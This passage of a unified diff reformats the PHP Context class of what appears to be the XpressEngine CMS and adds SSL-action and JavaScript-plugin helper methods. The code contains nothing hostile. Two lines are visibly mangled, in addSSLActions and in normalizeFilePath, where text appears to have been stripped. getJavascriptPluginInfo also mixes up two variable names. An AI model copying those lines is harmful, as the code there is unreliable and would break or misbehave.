'XMLRPC') return; + function _setXmlRpcArgument() + { + if($this->getRequestMethod() != 'XMLRPC') + { + return; + } $oXml = new XmlParser(); $xml_obj = $oXml->parse(); @@ -932,9 +1225,13 @@ class Context { unset($params->node_name); unset($params->attrs); - if(!count($params)) return; - foreach($params as $key => $obj) { - $val = $this->_filterRequestVar($key, $obj->body,0); + if(!count($params)) + { + return; + } + foreach($params as $key => $obj) + { + $val = $this->_filterRequestVar($key, $obj->body, 0); $this->set($key, $val, true); } } @@ -948,7 +1245,8 @@ class Context { * @param string $do_stripslashes Whether to strip slashes * @return mixed filtered value. Type are string or array */ - function _filterRequestVar($key, $val, $do_stripslashes = 1) { + function _filterRequestVar($key, $val, $do_stripslashes = 1) + { $isArray = TRUE; if(!is_array($val)) { @@ -960,7 +1258,7 @@ class Context { { if($key === 'page' || $key === 'cpage' || substr($key, -3) === 'srl') { - $val[$k] = !preg_match('/^[0-9,]+$/', $v) ? (int)$v : $v; + $val[$k] = !preg_match('/^[0-9,]+$/', $v) ? (int) $v : $v; } elseif($key === 'mid' || $key === 'vid' || $key === 'search_keyword') { @@ -973,7 +1271,10 @@ class Context { $v = stripslashes($v); } - if (is_string($v)) $val[$k] = trim($v); + if(!is_array($v)) + { + $val[$k] = trim($v); + } } } @@ -992,8 +1293,9 @@ class Context { * * @return bool True: exists, False: otherwise */ - function isUploaded() { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function isUploaded() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); return $self->is_uploaded; } @@ -1002,26 +1304,45 @@ class Context { * * @return void */ - function _setUploadedArgument() { - if($this->getRequestMethod() != 'POST') return; - if(!preg_match('/multipart\/form-data/i',$_SERVER['CONTENT_TYPE'])) return; - if(!$_FILES) return; + function _setUploadedArgument() + { + if($_SERVER['REQUEST_METHOD'] != 'POST') + { + return; + } + if(!preg_match('/multipart\/form-data/i', $_SERVER['CONTENT_TYPE'])) + { + return; + } + if(!$_FILES) + { + return; + } - foreach($_FILES as $key => $val) { + foreach($_FILES as $key => $val) + { $tmp_name = $val['tmp_name']; - if(!is_array($tmp_name)){ - if(!$tmp_name || !is_uploaded_file($tmp_name)) continue; + if(!is_array($tmp_name)) + { + if(!$tmp_name || !is_uploaded_file($tmp_name)) + { + continue; + } $val['name'] = htmlspecialchars($val['name']); $this->set($key, $val, true); $this->is_uploaded = true; - }else { - for($i=0;$i< count($tmp_name);$i++){ - if($val['size'][$i] > 0){ - $file['name']=$val['name'][$i]; - $file['type']=$val['type'][$i]; - $file['tmp_name']=$val['tmp_name'][$i]; - $file['error']=$val['error'][$i]; - $file['size']=$val['size'][$i]; + } + else + { + for($i = 0; $i < count($tmp_name); $i++) + { + if($val['size'][$i] > 0) + { + $file['name'] = $val['name'][$i]; + $file['type'] = $val['type'][$i]; + $file['tmp_name'] = $val['tmp_name'][$i]; + $file['error'] = $val['error'][$i]; + $file['size'] = $val['size'][$i]; $files[] = $file; } } @@ -1034,8 +1355,9 @@ class Context { * Return request method * @return string Request method type. (Optional - GET|POST|XMLRPC|JSON) */ - function getRequestMethod() { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function getRequestMethod() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); return $self->request_method; } @@ -1043,9 +1365,11 @@ class Context { * Return request URL * @return string request URL */ - function getRequestUrl() { + function getRequestUrl() + { static $url = null; - if(is_null($url)) { + if(is_null($url)) + { $url = Context::getRequestUri(); if(count($_GET)) { @@ -1059,6 +1383,16 @@ class Context { return $url; } + /** + * Return js callback func. + * @return string callback func. + */ + function getJSCallbackFunc() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); + return $self->js_callback_func; + } + /** * Make URL with args_list upon request URL * @@ -1069,59 +1403,89 @@ class Context { * @param bool $autoEncode If true, url encode automatically, detailed. Use this option, $encode value should be true * @return string URL */ - function getUrl($num_args=0, $args_list=array(), $domain = null, $encode = true, $autoEncode = false) { + function getUrl($num_args = 0, $args_list = array(), $domain = null, $encode = true, $autoEncode = false) + { static $site_module_info = null; static $current_info = null; - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); // retrieve virtual site information - if(is_null($site_module_info)) $site_module_info = Context::get('site_module_info'); + if(is_null($site_module_info)) + { + $site_module_info = Context::get('site_module_info'); + } // If $domain is set, handle it (if $domain is vid type, remove $domain and handle with $vid) - if($domain && isSiteID($domain)) { + if($domain && isSiteID($domain)) + { $vid = $domain; $domain = ''; } // If $domain, $vid are not set, use current site information - if(!$domain && !$vid) { - if($site_module_info->domain && isSiteID($site_module_info->domain)) $vid = $site_module_info->domain; - else $domain = $site_module_info->domain; + if(!$domain && !$vid) + { + if($site_module_info->domain && isSiteID($site_module_info->domain)) + { + $vid = $site_module_info->domain; + } + else + { + $domain = $site_module_info->domain; + } } // if $domain is set, compare current URL. If they are same, remove the domain, otherwise link to the domain. - if($domain) { + if($domain) + { $domain_info = parse_url($domain); - if(is_null($current_info)) $current_info = parse_url(($_SERVER['HTTPS']=='on'?'https':'http').'://'.$_SERVER['HTTP_HOST'].getScriptPath()); - if($domain_info['host'].$domain_info['path']==$current_info['host'].$current_info['path']) { + if(is_null($current_info)) + { + $current_info = parse_url(($_SERVER['HTTPS'] == 'on' ? 'https' : 'http') . '://' . $_SERVER['HTTP_HOST'] . getScriptPath()); + } + if($domain_info['host'] . $domain_info['path'] == $current_info['host'] . $current_info['path']) + { unset($domain); - } else { - $domain = preg_replace('/^(http|https):\/\//i','', trim($domain)); - if(substr($domain,-1) != '/') $domain .= '/'; + } + else + { + $domain = preg_replace('/^(http|https):\/\//i', '', trim($domain)); + if(substr($domain, -1) != '/') + { + $domain .= '/'; + } } } $get_vars = null; // If there is no GET variables or first argument is '' to reset variables - if(!$self->get_vars || $args_list[0]=='') { + if(!$self->get_vars || $args_list[0] == '') + { // rearrange args_list - if(is_array($args_list) && $args_list[0]=='') array_shift($args_list); - } else { + if(is_array($args_list) && $args_list[0] == '') + { + array_shift($args_list); + } + } + else + { // Otherwise, make GET variables into array $get_vars = get_object_vars($self->get_vars); } // arrange args_list - for($i=0,$c=count($args_list);$i<$c;$i=$i+2) { + for($i = 0, $c = count($args_list); $i < $c; $i = $i + 2) + { $key = $args_list[$i]; - $val = trim($args_list[$i+1]); + $val = trim($args_list[$i + 1]); // If value is not set, remove the key - if(!isset($val) || !strlen($val)) { - unset($get_vars[$key]); - continue; + if(!isset($val) || !strlen($val)) + { + unset($get_vars[$key]); + continue; } // set new variables $get_vars[$key] = $val; @@ -1129,24 +1493,35 @@ class Context { // remove vid, rnd unset($get_vars['rnd']); - if($vid) $get_vars['vid'] = $vid; - else unset($get_vars['vid']); + if($vid) + { + $get_vars['vid'] = $vid; + } + else + { + unset($get_vars['vid']); + } // for compatibility to lower versions $act = $get_vars['act']; $act_alias = array( - 'dispMemberFriend'=>'dispCommunicationFriend', - 'dispMemberMessages'=>'dispCommunicationMessages', - 'dispDocumentAdminManageDocument'=>'dispDocumentManageDocument', - 'dispModuleAdminSelectList'=>'dispModuleSelectList' + 'dispMemberFriend' => 'dispCommunicationFriend', + 'dispMemberMessages' => 'dispCommunicationMessages', + 'dispDocumentAdminManageDocument' => 'dispDocumentManageDocument', + 'dispModuleAdminSelectList' => 'dispModuleSelectList' ); - if($act_alias[$act]) $get_vars['act'] = $act_alias[$act]; + if($act_alias[$act]) + { + $get_vars['act'] = $act_alias[$act]; + } // organize URL $query = ''; - if(count($get_vars)) { + if(count($get_vars)) + { // if using rewrite mod - if($self->allow_rewrite) { + if($self->allow_rewrite) + { $var_keys = array_keys($get_vars); sort($var_keys); @@ -1158,85 +1533,117 @@ class Context { $key = $get_vars['key']; $srl = $get_vars['document_srl']; - $tmpArray = array('rss'=>1, 'atom'=>1, 'api'=>1); + $tmpArray = array('rss' => 1, 'atom' => 1, 'api' => 1); $is_feed = isset($tmpArray[$act]); $target_map = array( - 'vid'=>$vid, - 'mid'=>$mid, - 'mid.vid'=>"$vid/$mid", - - 'entry.mid' =>"$mid/entry/".$get_vars['entry'], - 'entry.mid.vid'=>"$vid/$mid/entry/".$get_vars['entry'], - - 'document_srl'=>$srl, - 'document_srl.mid'=>"$mid/$srl", - 'document_srl.vid'=>"$vid/$srl", - 'document_srl.mid.vid'=>"$vid/$mid/$srl", - - 'act.mid' =>$is_feed?"$mid/$act":'', - 'act.mid.vid'=>$is_feed?"$vid/$mid/$act":'', - 'act.document_srl.key' =>($act=='trackback')?"$srl/$key/$act":'', - 'act.document_srl.key.mid'=>($act=='trackback')?"$mid/$srl/$key/$act":'', - 'act.document_srl.key.vid'=>($act=='trackback')?"$vid/$srl/$key/$act":'', - 'act.document_srl.key.mid.vid'=>($act=='trackback')?"$vid/$mid/$srl/$key/$act":'' + 'vid' => $vid, + 'mid' => $mid, + 'mid.vid' => "$vid/$mid", + 'entry.mid' => "$mid/entry/" . $get_vars['entry'], + 'entry.mid.vid' => "$vid/$mid/entry/" . $get_vars['entry'], + 'document_srl' => $srl, + 'document_srl.mid' => "$mid/$srl", + 'document_srl.vid' => "$vid/$srl", + 'document_srl.mid.vid' => "$vid/$mid/$srl", + 'act.mid' => $is_feed ? "$mid/$act" : '', + 'act.mid.vid' => $is_feed ? "$vid/$mid/$act" : '', + 'act.document_srl.key' => ($act == 'trackback') ? "$srl/$key/$act" : '', + 'act.document_srl.key.mid' => ($act == 'trackback') ? "$mid/$srl/$key/$act" : '', + 'act.document_srl.key.vid' => ($act == 'trackback') ? "$vid/$srl/$key/$act" : '', + 'act.document_srl.key.mid.vid' => ($act == 'trackback') ? "$vid/$mid/$srl/$key/$act" : '' ); - $query = $target_map[$target]; + $query = $target_map[$target]; } - if(!$query) { + if(!$query) + { $queries = array(); - foreach($get_vars as $key => $val) { - if(is_array($val) && count($val)) { - foreach($val as $k => $v) $queries[] = $key.'['.$k.']='.urlencode($v); - } else { - $queries[] = $key.'='.@urlencode($val); + foreach($get_vars as $key => $val) + { + if(is_array($val) && count($val)) + { + foreach($val as $k => $v) + { + $queries[] = $key . '[' . $k . ']=' . urlencode($v); + } + } + else + { + $queries[] = $key . '=' . @urlencode($val); } } - if(count($queries)) $query = 'index.php?'.implode('&', $queries); + if(count($queries)) + { + $query = 'index.php?' . implode('&', $queries); + } } } // If using SSL always $_use_ssl = $self->get('_use_ssl'); - if($_use_ssl == 'always') { - $query = $self->getRequestUri(ENFORCE_SSL, $domain).$query; - // optional SSL use - } elseif($_use_ssl == 'optional') { + if($_use_ssl == 'always') + { + $query = $self->getRequestUri(ENFORCE_SSL, $domain) . $query; + // optional SSL use + } + elseif($_use_ssl == 'optional') + { $ssl_mode = RELEASE_SSL; - if($get_vars['act'] && $self->isExistsSSLAction($get_vars['act'])) $ssl_mode = ENFORCE_SSL; - $query = $self->getRequestUri($ssl_mode, $domain).$query; - // no SSL - } else { + if($get_vars['act'] && $self->isExistsSSLAction($get_vars['act'])) + { + $ssl_mode = ENFORCE_SSL; + } + $query = $self->getRequestUri($ssl_mode, $domain) . $query; + // no SSL + } + else + { // currently on SSL but target is not based on SSL - if($_SERVER['HTTPS']=='on' ) $query = $self->getRequestUri(ENFORCE_SSL, $domain).$query; + if($_SERVER['HTTPS'] == 'on') + { + $query = $self->getRequestUri(ENFORCE_SSL, $domain) . $query; + } // if $domain is set - else if($domain) $query = $self->getRequestUri(FOLLOW_REQUEST_SSL, $domain).$query; + else if($domain) + { + $query = $self->getRequestUri(FOLLOW_REQUEST_SSL, $domain) . $query; + } - else $query = getScriptPath().$query; + else + { + $query = getScriptPath() . $query; + } } - if ($encode){ - if($autoEncode){ + if($encode) + { + if($autoEncode) + { $parsedUrl = parse_url($query); parse_str($parsedUrl['query'], $output); $encode_queries = array(); - foreach($output as $key=>$value){ - if (preg_match('/&([a-z]{2,}|#\d+);/', urldecode($value))){ + foreach($output as $key => $value) + { + if(preg_match('/&([a-z]{2,}|#\d+);/', urldecode($value))) + { $value = urlencode(htmlspecialchars_decode(urldecode($value))); } - $encode_queries[] = $key.'='.$value; + $encode_queries[] = $key . '=' . $value; } $encode_query = implode('&', $encode_queries); - return htmlspecialchars($parsedUrl['path'].'?'.$encode_query); + return htmlspecialchars($parsedUrl['path'] . '?' . $encode_query); } - else{ + else + { return htmlspecialchars($query); } - }else{ - return $query; + } + else + { + return $query; } } @@ -1247,51 +1654,93 @@ class Context { * @param string $domain Domain * @retrun string converted URL */ - function getRequestUri($ssl_mode = FOLLOW_REQUEST_SSL, $domain = null) { + function getRequestUri($ssl_mode = FOLLOW_REQUEST_SSL, $domain = null) + { static $url = array(); // HTTP Request가 아니면 패스 - if(!isset($_SERVER['SERVER_PROTOCOL'])) return ; - if(Context::get('_use_ssl') == 'always') $ssl_mode = ENFORCE_SSL; - - if($domain) $domain_key = md5($domain); - else $domain_key = 'default'; - - if(isset($url[$ssl_mode][$domain_key])) return $url[$ssl_mode][$domain_key]; - - $current_use_ssl = $_SERVER['HTTPS']=='on' ? true : false; - - switch($ssl_mode) { - case FOLLOW_REQUEST_SSL: $use_ssl = $current_use_ssl; break; - case ENFORCE_SSL: $use_ssl = true; break; - case RELEASE_SSL: $use_ssl = false; break; + if(!isset($_SERVER['SERVER_PROTOCOL'])) + { + return; } - if($domain) { + if(Context::get('_use_ssl') == 'always') + { + $ssl_mode = ENFORCE_SSL; + } + + if($domain) + { + $domain_key = md5($domain); + } + else + { + $domain_key = 'default'; + } + + if(isset($url[$ssl_mode][$domain_key])) + { + return $url[$ssl_mode][$domain_key]; + } + + $current_use_ssl = $_SERVER['HTTPS'] == 'on' ? true : false; + + switch($ssl_mode) + { + case FOLLOW_REQUEST_SSL: $use_ssl = $current_use_ssl; + break; + case ENFORCE_SSL: $use_ssl = true; + break; + case RELEASE_SSL: $use_ssl = false; + break; + } + + if($domain) + { $target_url = trim($domain); - if(substr($target_url,-1) != '/') $target_url.= '/'; - } else { - $target_url= $_SERVER['HTTP_HOST'].getScriptPath(); + if(substr($target_url, -1) != '/') + { + $target_url.= '/'; + } + } + else + { + $target_url = $_SERVER['HTTP_HOST'] . getScriptPath(); } - $url_info = parse_url('http://'.$target_url); + $url_info = parse_url('http://' . $target_url); if($current_use_ssl != $use_ssl) { unset($url_info['port']); } - if($use_ssl) { + if($use_ssl) + { $port = Context::get('_https_port'); - if($port && $port != 443) $url_info['port'] = $port; - elseif($url_info['port']==443) unset($url_info['port']); - } else { + if($port && $port != 443) + { + $url_info['port'] = $port; + } + elseif($url_info['port'] == 443) + { + unset($url_info['port']); + } + } + else + { $port = Context::get('_http_port'); - if($port && $port != 80) $url_info['port'] = $port; - elseif($url_info['port']==80) unset($url_info['port']); + if($port && $port != 80) + { + $url_info['port'] = $port; + } + elseif($url_info['port'] == 80) + { + unset($url_info['port']); + } } - $url[$ssl_mode][$domain_key] = sprintf('%s://%s%s%s',$use_ssl?'https':$url_info['scheme'], $url_info['host'], $url_info['port']&&$url_info['port']!=80?':'.$url_info['port']:'',$url_info['path']); + $url[$ssl_mode][$domain_key] = sprintf('%s://%s%s%s', $use_ssl ? 'https' : $url_info['scheme'], $url_info['host'], $url_info['port'] && $url_info['port'] != 80 ? ':' . $url_info['port'] : '', $url_info['path']); return $url[$ssl_mode][$domain_key]; } @@ -1304,16 +1753,23 @@ class Context { * @param mixed $set_to_get_vars If not false, Set to get vars. * @return void */ - function set($key, $val, $set_to_get_vars=0) { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function set($key, $val, $set_to_get_vars = 0) + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); $self->context->{$key} = $val; - if($set_to_get_vars === false) return; + if($set_to_get_vars === false) + { + return; + } if($val === NULL || $val === '') { unset($self->get_vars->{$key}); return; } - if($set_to_get_vars || $self->get_vars->{$key}) $self->get_vars->{$key} = $val; + if($set_to_get_vars || $self->get_vars->{$key}) + { + $self->get_vars->{$key} = $val; + } } /** @@ -1322,10 +1778,14 @@ class Context { * @param string $key Key * @return string Key */ - function get($key) { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function get($key) + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); - if(!isset($self->context->{$key})) return null; + if(!isset($self->context->{$key})) + { + return null; + } return $self->context->{$key}; } @@ -1334,13 +1794,19 @@ class Context { * * @return object */ - function gets() { + function gets() + { $num_args = func_num_args(); - if($num_args<1) return; - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + if($num_args < 1) + { + return; + } + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); $args_list = func_get_args(); - foreach($args_list as $v) { + $output = new stdClass(); + foreach($args_list as $v) + { $output->{$v} = $self->get($v); } return $output; @@ -1351,8 +1817,9 @@ class Context { * * @return object All data */ - function getAll() { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function getAll() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); return $self->context; } @@ -1361,22 +1828,25 @@ class Context { * * @return Object Request variables. */ - function getRequestVars() { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); - if($self->get_vars) return clone($self->get_vars); + function getRequestVars() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); + if($self->get_vars) + { + return clone($self->get_vars); + } return new stdClass; } - /** - * Register if actions is to be encrypted by SSL. Those actions are sent to https in common/js/xml_handler.js + * Register if an action is to be encrypted by SSL. Those actions are sent to https in common/js/xml_handler.js * * @param string $action act name * @return void */ function addSSLAction($action) { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); if(!is_readable($self->sslActionCacheFile)) { @@ -1386,19 +1856,71 @@ class Context { if(!isset($self->ssl_actions[$action])) { + $self->ssl_actions[$action] = 1; $sslActionCacheString = sprintf('$sslActions[\'%s\'] = 1;', $action); FileHandler::writeFile($self->sslActionCacheFile, $sslActionCacheString, 'a'); } } + /** + * Register if actions are to be encrypted by SSL. Those actions are sent to https in common/js/xml_handler.js + * + * @param string $action act name + * @return void + */ + function addSSLActions($action_array) + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); + + if(!is_readable($self->sslActionCacheFile)) + { + unset($self->ssl_actions); + $buff = 'sslActionCacheFile, $buff); + } + + foreach($action_array as $action) + { + if(!isset($self->ssl_actions[$action])) + { + $self->ssl_actions[$action] = 1; + $sslActionCacheString = sprintf('$sslActions[\'%s\'] = 1;', $action); + FileHandler::writeFile($self->sslActionCacheFile, $sslActionCacheString, 'a'); + } + } + } + + /** + * Delete if action is registerd to be encrypted by SSL. + * + * @param string $action act name + * @return void + */ + function subtractSSLAction($action) + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); + + if($self->isExistsSSLAction($action)) + { + $sslActionCacheString = sprintf('$sslActions[\'%s\'] = 1;', $action); + $buff = FileHandler::readFile($self->sslActionCacheFile); + $buff = str_replace($sslActionCacheString, '', $buff); + FileHandler::writeFile($self->sslActionCacheFile, $buff); + } + } + /** * Get SSL Action * - * @return string act + * @return string acts in array */ - function getSSLActions() { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); - return $self->ssl_actions; + function getSSLActions() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); + if($self->getSslStatus() == 'optional') + { + return $self->ssl_actions; + } } /** @@ -1407,8 +1929,9 @@ class Context { * @param string $action act name * @return bool If SSL exists, return true. */ - function isExistsSSLAction($action) { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function isExistsSSLAction($action) + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); return isset($self->ssl_actions[$action]); } @@ -1419,10 +1942,17 @@ class Context { * @param string $file file path * @return string normalized file path */ - function normalizeFilePath($file) { - if(strpos($file,'://')===false && $file{0}!='/' && $file{0}!='.') $file = './'.$file; + function normalizeFilePath($file) + { + if(strpos($file, '://') === false && $file{0} != '/' && $file{0} != '.') + { + $file = './' . $file; + } $file = preg_replace('@/\./|(?oFrontEndFileHandler->unloadFile($file, $targetIe, $media); } @@ -1494,10 +2031,9 @@ class Context { * @param string $type Unload target (optional - all|css|js) * @return void */ - function unloadAllFiles($type = 'all') { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); $self->oFrontEndFileHandler->unloadAllFiles($type); } @@ -1514,19 +2050,24 @@ class Context { * @param string $autoPath If path not readed, set the path automatically. * @return void */ - function addJsFile($file, $optimized = false, $targetie = '',$index=0, $type='head', $isRuleset = false, $autoPath = null) { + function addJsFile($file, $optimized = false, $targetie = '', $index = 0, $type = 'head', $isRuleset = false, $autoPath = null) + { if($isRuleset) { - if (strpos($file, '#') !== false){ + if(strpos($file, '#') !== false) + { $file = str_replace('#', '', $file); - if (!is_readable($file)) $file = $autoPath; + if(!is_readable($file)) + { + $file = $autoPath; + } } - $validator = new Validator($file); + $validator = new Validator($file); $validator->setCacheDir('files/cache'); $file = $validator->getJsPath(); } - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); $self->oFrontEndFileHandler->loadFile(array($file, $type, $targetie, $index)); } @@ -1539,8 +2080,9 @@ class Context { * @param string $targetie target IE * @return void */ - function unloadJsFile($file, $optimized = false, $targetie = '') { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function unloadJsFile($file, $optimized = false, $targetie = '') + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); $self->oFrontEndFileHandler->unloadFile($file, $targetie); } @@ -1549,8 +2091,9 @@ class Context { * * @return void */ - function unloadAllJsFiles() { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function unloadAllJsFiles() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); $self->oFrontEndFileHandler->unloadAllFiles('js'); } @@ -1558,28 +2101,34 @@ class Context { * Add javascript filter * * @param string $path File path - * @param string $filename File name + * @param string $filename File name * @return void */ - function addJsFilter($path, $filename) { + function addJsFilter($path, $filename) + { $oXmlFilter = new XmlJSFilter($path, $filename); $oXmlFilter->compile(); } + /** * Same as array_unique but works only for file subscript * * @deprecated * @param array $files File list * @return array File list - */ - function _getUniqueFileList($files) { + */ + function _getUniqueFileList($files) + { ksort($files); $files = array_values($files); $filenames = array(); $size = count($files); - for($i = 0; $i < $size; ++ $i) + for($i = 0; $i < $size; ++$i) { - if(in_array($files[$i]['file'], $filenames)) unset($files[$i]); + if(in_array($files[$i]['file'], $filenames)) + { + unset($files[$i]); + } $filenames[] = $files[$i]['file']; } @@ -1592,8 +2141,9 @@ class Context { * @param string $type Added position. (head:.., body:..) * @return array Returns javascript file list. Array contains file, targetie. */ - function getJsFile($type='head') { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function getJsFile($type = 'head') + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); return $self->oFrontEndFileHandler->getJsFileList($type); } @@ -1609,8 +2159,9 @@ class Context { * @return void * */ - function addCSSFile($file, $optimized=false, $media='all', $targetie='',$index=0) { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function addCSSFile($file, $optimized = false, $media = 'all', $targetie = '', $index = 0) + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); $self->oFrontEndFileHandler->loadFile(array($file, $media, $targetie, $index)); } @@ -1624,8 +2175,9 @@ class Context { * @param string $targetie target IE * @return void */ - function unloadCSSFile($file, $optimized = false, $media = 'all', $targetie = '') { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function unloadCSSFile($file, $optimized = false, $media = 'all', $targetie = '') + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); $self->oFrontEndFileHandler->unloadFile($file, $targetie, $media); } @@ -1634,8 +2186,9 @@ class Context { * * @return void */ - function unloadAllCSSFiles() { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function unloadAllCSSFiles() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); $self->oFrontEndFileHandler->unloadAllFiles('css'); } @@ -1644,41 +2197,122 @@ class Context { * * @return array Returns css file list. Array contains file, media, targetie. */ - function getCSSFile() { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function getCSSFile() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); return $self->oFrontEndFileHandler->getCssFileList(); } + /** + * Returns javascript plugin file info + * @param string $pluginName + * @return stdClass + */ + function getJavascriptPluginInfo($pluginName) + { + if($plugin_name == 'ui.datepicker') + { + $plugin_name = 'ui'; + } + + $plugin_path = './common/js/plugins/' . $pluginName . '/'; + $info_file = $plugin_path . 'plugin.load'; + if(!is_readable($info_file)) + { + return; + } + + $list = file($info_file); + $result = new stdClass(); + $result->jsList = array(); + $result->cssList = array(); + + foreach($list as $filename) + { + $filename = trim($filename); + if(!$filename) + { + continue; + } + + if(substr($filename, 0, 2) == './') + { + $filename = substr($filename, 2); + } + + if(preg_match('/\.js$/i', $filename)) + { + $result->jsList[] = $plugin_path . $filename; + } + elseif(preg_match('/\.css$/i', $filename)) + { + $result->cssList[] = $plugin_path . $filename; + } + } + + if(is_dir($plugin_path . 'lang')) + { + $result->langPath = $plugin_path . 'lang'; + } + + return $result; + } /** * Load javascript plugin * * @param string $plugin_name plugin name * @return void */ - function loadJavascriptPlugin($plugin_name) { + function loadJavascriptPlugin($plugin_name) + { static $loaded_plugins = array(); - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); - if($plugin_name == 'ui.datepicker') $plugin_name = 'ui'; - - if($loaded_plugins[$plugin_name]) return; - $loaded_plugins[$plugin_name] = true; - - $plugin_path = './common/js/plugins/'.$plugin_name.'/'; - $info_file = $plugin_path.'plugin.load'; - if(!is_readable($info_file)) return; - - $list = file($info_file); - foreach($list as $filename) { - $filename = trim($filename); - if(!$filename) continue; - - if(substr($filename,0,2)=='./') $filename = substr($filename,2); - if(preg_match('/\.js$/i', $filename)) $self->loadFile(array($plugin_path.$filename, 'body', '', 0), true); - elseif(preg_match('/\.css$/i', $filename)) $self->loadFile(array($plugin_path.$filename, 'all', '', 0), true); + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); + if($plugin_name == 'ui.datepicker') + { + $plugin_name = 'ui'; } - if(is_dir($plugin_path.'lang')) $self->loadLang($plugin_path.'lang'); + if($loaded_plugins[$plugin_name]) + { + return; + } + $loaded_plugins[$plugin_name] = true; + + $plugin_path = './common/js/plugins/' . $plugin_name . '/'; + $info_file = $plugin_path . 'plugin.load'; + if(!is_readable($info_file)) + { + return; + } + + $list = file($info_file); + foreach($list as $filename) + { + $filename = trim($filename); + if(!$filename) + { + continue; + } + + if(substr($filename, 0, 2) == './') + { + $filename = substr($filename, 2); + } + if(preg_match('/\.js$/i', $filename)) + { + $self->loadFile(array($plugin_path . $filename, 'body', '', 0), true); + } + elseif(preg_match('/\.css$/i', $filename)) + { + $self->loadFile(array($plugin_path . $filename, 'all', '', 0), true); + } + } + + if(is_dir($plugin_path . 'lang')) + { + $self->loadLang($plugin_path . 'lang'); + } } /** @@ -1687,9 +2321,16 @@ class Context { * @param string $header add html code before . * @return void */ - function addHtmlHeader($header) { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); - $self->html_header .= "\n".$header; + function addHtmlHeader($header) + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); + $self->html_header .= "\n" . $header; + } + + function clearHtmlHeader() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); + $self->html_header = ''; } /** @@ -1697,8 +2338,9 @@ class Context { * * @return string Added html code before */ - function getHtmlHeader() { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function getHtmlHeader() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); return $self->html_header; } @@ -1707,8 +2349,9 @@ class Context { * * @param string $class_name class name */ - function addBodyClass($class_name) { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function addBodyClass($class_name) + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); $self->body_class[] = $class_name; } @@ -1717,11 +2360,12 @@ class Context { * * @return string Return class to html body */ - function getBodyClass() { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function getBodyClass() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); $self->body_class = array_unique($self->body_class); - return count($self->body_class)?sprintf(' class="%s"', implode(' ',$self->body_class)):''; + return count($self->body_class) ? sprintf(' class="%s"', implode(' ', $self->body_class)) : ''; } /** @@ -1729,9 +2373,10 @@ class Context { * * @param string $header Add html code after */ - function addBodyHeader($header) { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); - $self->body_header .= "\n".$header; + function addBodyHeader($header) + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); + $self->body_header .= "\n" . $header; } /** @@ -1739,8 +2384,9 @@ class Context { * * @return string Added html code after */ - function getBodyHeader() { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function getBodyHeader() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); return $self->body_header; } @@ -1749,9 +2395,10 @@ class Context { * * @param string $footer Add html code before */ - function addHtmlFooter($footer) { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); - $self->html_footer .= ($self->Htmlfooter?"\n":'').$footer; + function addHtmlFooter($footer) + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); + $self->html_footer .= ($self->Htmlfooter ? "\n" : '') . $footer; } /** @@ -1759,8 +2406,9 @@ class Context { * * @return string Added html code before */ - function getHtmlFooter() { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function 